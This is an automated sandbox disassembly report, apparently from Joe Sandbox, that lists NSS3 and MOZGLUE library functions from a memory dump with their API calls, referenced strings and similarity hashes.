Part of subcall function 6C7BF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C7BF8A4
Part of subcall function 6C7BF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C7BF8AB
Part of subcall function 6C7BF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C7BF8C9
Part of subcall function 6C7BF820: free.MOZGLUE(280F10EC,?,?), ref: 6C7BF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C7B2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C784F1C), ref: 6C798EC3
TlsGetValue.KERNEL32(?,?,?,6C7B2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C784F1C), ref: 6C798EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C7B2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C798EF1
PR_Unlock.NSS3 ref: 6C798F20

Strings

b.{l, xrefs: 6C798E96, 6C798F25

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.{l
API String ID: 1978757487-175572528
Opcode ID: 4f8b7d294c9b0e4c5ada59cff99fd70c58aaf66ace5c1cdf4c325d623131b7e0
Instruction ID: 8302d60c6188c817c9d6b4ce8d24bdaaa225a8724e1a7c3c6bf5d42597db3298
Opcode Fuzzy Hash: 4f8b7d294c9b0e4c5ada59cff99fd70c58aaf66ace5c1cdf4c325d623131b7e0
Instruction Fuzzy Hash: 0D218B74A096059FDB00AF39E688699BBF4FF48318F05456EEC989BB41D730E854CBC2

Function 6C81A540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6C81A390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C81A415

PK11_ExtractKeyValue.NSS3(00000000), ref: 6C81A5AC
memcpy.VCRUNTIME140(?,?,?), ref: 6C81A5BF
PK11_FreeSymKey.NSS3(00000000), ref: 6C81A5C8

Part of subcall function 6C7BADC0: TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE10
Part of subcall function 6C7BADC0: EnterCriticalSection.KERNEL32(?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE24
Part of subcall function 6C7BADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C79D079,00000000,00000001), ref: 6C7BAE5A
Part of subcall function 6C7BADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE6F
Part of subcall function 6C7BADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAE7F
Part of subcall function 6C7BADC0: TlsGetValue.KERNEL32(?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEB1
Part of subcall function 6C7BADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C79CDBB,?,6C79D079,00000000,00000001), ref: 6C7BAEC9

PK11_FreeSymKey.NSS3(00000000), ref: 6C81A5D9
PR_SetError.NSS3(FFFFD04C,00000000), ref: 6C81A5E8

Strings

*@, xrefs: 6C81A589

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterErrorFreeSection$ExtractUnlockfreememcpymemset
String ID: *@
API String ID: 2660593509-1483644743
Opcode ID: b510f5cae1fd053efa5c3ae24fcdec9595166efee1d6b3d7a339bd64aeb08f68
Instruction ID: 458ebc16fcc33d2ef0b8870cfdc26366fac8f2003bb738c53ed0f4b6d1f34fc3
Opcode Fuzzy Hash: b510f5cae1fd053efa5c3ae24fcdec9595166efee1d6b3d7a339bd64aeb08f68
Instruction Fuzzy Hash: 6721F3B1C082099BC7109F69DE016DFBBF4AF8932CF014628EC5833B41E734A6488BD2

Function 6C882C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C882CA0
PR_ExitMonitor.NSS3 ref: 6C882CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C882CD1
strdup.MOZGLUE(?), ref: 6C882CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C882D27

Strings

Loaded library %s (static lib), xrefs: 6C882D22

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 8262382ac812e2c48fe9fb8cbf5874b3a1fe76d645b1f59d23d6168eb620cbd4
Instruction ID: d93799ae56fafeeebc771295f26747c40a0f93a597644509fc4fd2bda2b35b0b
Opcode Fuzzy Hash: 8262382ac812e2c48fe9fb8cbf5874b3a1fe76d645b1f59d23d6168eb620cbd4
Instruction Fuzzy Hash: A51190B16022149FEB309F19EA48A6677B5AB4531DF14893DE80987F42E735ED08CBE1

Function 6C7D0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016

Part of subcall function 6C8398D0: calloc.MOZGLUE(00000001,00000084,6C760936,00000001,?,6C76102C), ref: 6C8398E5

PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B
TlsGetValue.KERNEL32(00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1044
free.MOZGLUE(00000000,?,00000800,6C76EF74,00000000), ref: 6C7D1064

Strings

security, xrefs: 6C7D1025

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 5f5537a84ff9ebff22d14404308d291039296ab0c3408a6ce4982bcf1290ae78
Instruction ID: 0b5bee2b760fce064967e97bbf062e440c7190f13aecb7cb99f04bcd14d13fa1
Opcode Fuzzy Hash: 5f5537a84ff9ebff22d14404308d291039296ab0c3408a6ce4982bcf1290ae78
Instruction Fuzzy Hash: 1A016670A402909BE7303F3D9E08B563A68BF0276CF020535E80897E52EB70F614EBD1

Function 6C800570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C7EC89B,FFFFFE80,?,6C7EC89B), ref: 6C80058B
free.MOZGLUE(?,?,6C7EC89B), ref: 6C800592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C7EC89B), ref: 6C8005AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C7EC89B), ref: 6C8005C2
DeleteCriticalSection.KERNEL32(6C7EC89B,?,6C7EC89B), ref: 6C8005D8
free.MOZGLUE(?,?,6C7EC89B), ref: 6C8005DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6C7EC89B), ref: 6C8005FB

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: a80f9cfa7e2361293286eadd77e9f04e5191216abd6eee6ca9fdb38d1719f218
Instruction ID: a8fc679862f39568c21e34461445ffa0f88a995848afd1b28a1c1f7fff8b3889
Opcode Fuzzy Hash: a80f9cfa7e2361293286eadd77e9f04e5191216abd6eee6ca9fdb38d1719f218
Instruction Fuzzy Hash: 57014CB1B092615BEE30AFA49D0DB4E7B78670731DF100830E50662F41D768B608C3D3

Function 6C812E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C813046

Part of subcall function 6C7FEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7FEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C7E7FFB), ref: 6C81312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C813154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C812E8B

Part of subcall function 6C81C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C81C2BF

Part of subcall function 6C7FF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C7E9BFF,?,00000000,00000000), ref: 6C7FF134

memcpy.VCRUNTIME140(8B3C75C0,?,6C7E7FFA), ref: 6C812EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C81317B

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: e89ba590e0f3f11e99fca7fd4c13f4910c41265514fc891e4bdd107913027d8c
Instruction ID: ffc28e9e2f587862f9c591e0765fc7ad341e2c3786ab7188ead6bacb55664735
Opcode Fuzzy Hash: e89ba590e0f3f11e99fca7fd4c13f4910c41265514fc891e4bdd107913027d8c
Instruction Fuzzy Hash: E3A1EE71A002199FDB24CF54CC84BEAB7B5EF4A308F048599ED49A7B41E731AE85CF91

Function 6C7DED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C7DED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C7DEDCE

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

free.MOZGLUE(00000000,?,?,?,?,6C7DB04F), ref: 6C7DEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C7DEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C7DEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C7DEEFB

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 73ea7a8b63911c3f7a6057d8dde446d501bd7e237ff88d1aeae446074985f648
Instruction ID: 9056444fcecb2b69c2cf471113fa65ba2cb87755b94924bd09a21a27aa432bed
Opcode Fuzzy Hash: 73ea7a8b63911c3f7a6057d8dde446d501bd7e237ff88d1aeae446074985f648
Instruction Fuzzy Hash: 89815CB5A0020A9FEB15CF55DA85AABB7F5AF88308F15443CE8159B751DB30F814CBA1

Function 6C7DCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7DC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C7DDAE2,?), ref: 6C7DC6C2

PR_Now.NSS3 ref: 6C7DCD35

Part of subcall function 6C839DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C880A27), ref: 6C839DC6
Part of subcall function 6C839DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C880A27), ref: 6C839DD1
Part of subcall function 6C839DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C839DED

Part of subcall function 6C7C6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C771C6F,00000000,00000004,?,?), ref: 6C7C6C3F

PR_GetCurrentThread.NSS3 ref: 6C7DCD54

Part of subcall function 6C839BF0: TlsGetValue.KERNEL32(?,?,?,6C880A75), ref: 6C839C07

Part of subcall function 6C7C7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C771CCC,00000000,00000000,?,?), ref: 6C7C729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C7DCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C7DCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C7DCE2C

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C7DCE40

Part of subcall function 6C7D14C0: TlsGetValue.KERNEL32 ref: 6C7D14E0
Part of subcall function 6C7D14C0: EnterCriticalSection.KERNEL32 ref: 6C7D14F5
Part of subcall function 6C7D14C0: PR_Unlock.NSS3 ref: 6C7D150D

Part of subcall function 6C7DCEE0: PORT_ArenaMark_Util.NSS3(?,6C7DCD93,?), ref: 6C7DCEEE
Part of subcall function 6C7DCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C7DCD93,?), ref: 6C7DCEFC
Part of subcall function 6C7DCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C7DCD93,?), ref: 6C7DCF0B
Part of subcall function 6C7DCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C7DCD93,?), ref: 6C7DCF1D

Part of subcall function 6C7DCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C7DCD93,?), ref: 6C7DCF47
Part of subcall function 6C7DCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C7DCD93,?), ref: 6C7DCF67
Part of subcall function 6C7DCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C7DCD93,?,?,?,?,?,?,?,?,?,?,?,6C7DCD93,?), ref: 6C7DCF78

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 3a106d6eabb93ca560095c938d31b479e2d54677014063050d9e6cc8d3c861d5
Instruction ID: fa63196bc1c22ed2c91b3c77cd112e20aa7530ae00fd7f5aeaac37e2bcf09cc5
Opcode Fuzzy Hash: 3a106d6eabb93ca560095c938d31b479e2d54677014063050d9e6cc8d3c861d5
Instruction Fuzzy Hash: F651D4B6A002129FEB10EF69DE45BAA77F9EF48349F260534D84997740EB31F904CB91

Function 6C7DE680 Relevance: 9.2, APIs: 6, Instructions: 169threadmemoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6C7DE6C4

Part of subcall function 6C7D0BE0: malloc.MOZGLUE(6C7C8D2D,?,00000000,?), ref: 6C7D0BF8
Part of subcall function 6C7D0BE0: TlsGetValue.KERNEL32(6C7C8D2D,?,00000000,?), ref: 6C7D0C15

PR_GetCurrentThread.NSS3 ref: 6C7DE6FE
PORT_ArenaGrow_Util.NSS3(?,?,?,00000000), ref: 6C7DE726
PR_GetCurrentThread.NSS3 ref: 6C7DE772
free.MOZGLUE(00000000), ref: 6C7DE81F

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: CurrentThreadUtil$Alloc_ArenaGrow_Valuefreemalloc
String ID:
API String ID: 1348558050-0
Opcode ID: 24e8a5a3d02295553a0c0159ac1cce9da7fb7044585a31b23544b5f4dc559ee8
Instruction ID: d54998b3fa49b605d777b298a32de4b85d7f4bf918484eeb332cabccc348d859
Opcode Fuzzy Hash: 24e8a5a3d02295553a0c0159ac1cce9da7fb7044585a31b23544b5f4dc559ee8
Instruction Fuzzy Hash: 815149B5E002199FEF058FA9CA84AAEB7B5FF48218F154438E915A7B11D731F851CBE0

Function 6C7E0640 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6C7E0676

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: FindUtil
String ID:
API String ID: 2510446611-0
Opcode ID: 7242912d1333aef9f581f7b0a439cbdd35cbae094a47ef9b3e9f0d9f52f847fd
Instruction ID: 53e1d682103d88591c90aaa788403bb67f6f93ab88bd4ebbad640ec15753c4cf
Opcode Fuzzy Hash: 7242912d1333aef9f581f7b0a439cbdd35cbae094a47ef9b3e9f0d9f52f847fd
Instruction Fuzzy Hash: DD4106776017819BDB108A2A9B0470B73B5AFC976CF254539D82AC7F00EF32F4159AD2

Function 6C7D66C0 Relevance: 9.1, APIs: 6, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7D66DF

Part of subcall function 6C7D0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7787ED,00000800,6C76EF74,00000000), ref: 6C7D1000
Part of subcall function 6C7D0FF0: PR_NewLock.NSS3(?,00000800,6C76EF74,00000000), ref: 6C7D1016
Part of subcall function 6C7D0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7787ED,00000008,?,00000800,6C76EF74,00000000), ref: 6C7D102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000168), ref: 6C7D66F9

Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D10F3
Part of subcall function 6C7D10C0: EnterCriticalSection.KERNEL32(?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D110C
Part of subcall function 6C7D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1141
Part of subcall function 6C7D10C0: PR_Unlock.NSS3(?,?,?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D1182
Part of subcall function 6C7D10C0: TlsGetValue.KERNEL32(?,6C778802,00000000,00000008,?,6C76EF74,00000000), ref: 6C7D119C

memset.VCRUNTIME140(00000000,00000000,00000168), ref: 6C7D6728
PK11_GetInternalKeySlot.NSS3 ref: 6C7D6788
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C7D67AD
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C7D67C1

Memory Dump Source

Source File: 00000000.00000002.2556795800.000000006C6F1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6F0000, based on PE: true

Associated: 00000000.00000002.2556744652.000000006C6F0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557141800.000000006C88F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557216243.000000006C8CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557285879.000000006C8CF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557340885.000000006C8D0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2557399319.000000006C8D5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6f0000_file.jbxd

Similarity

API ID: ArenaUtil$Arena_Value$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockOptionPoolSectionSlotUnlockcallocmemset
String ID:
API String ID: 3227582682-0
Opcode ID: f18a621e5eed40375b254ae739716dc609e755806b7a5d2c4ae61a04fd27d928
Instruction ID: b95b3365280ca3567df3a4d2594dbaa000c51028b8c077558d106a7dcabcdba2
Opcode Fuzzy Hash: f18a621e5eed40375b254ae739716dc609e755806b7a5d2c4ae61a04fd27d928
Instruction Fuzzy Hash: D65128B5D002188FDB40CF69CA857DA7BF4AB08718F05457AEC08EB745E775AA44CFA1

Function 6C7AEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C7AEF38

Part of subcall function 6C799520: PK11_IsLoggedIn.NSS3(00000000,?,6C7C379E,?,00000001,?), ref: 6C799542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C7AEF53

Part of subcall function 6C7B4C20: TlsGetValue.KERNEL32 ref: 6C7B4C4C
Part of subcall function 6C7B4C20: EnterCriticalSection.KERNEL32(?), ref: 6C7B4C60
Part of subcall function 6C7B4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4CA1
Part of subcall function 6C7B4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C7B4CBE
Part of subcall function 6C7B4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4CD2
Part of subcall function 6C7B4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7B4D3A

PR_GetCurrentThread.NSS3 ref: 6C7AEF9E

Part of subcall function 6C839BF0: TlsGetValue.KERNEL32(?,?,?,6C880A75), ref: 6C839C07

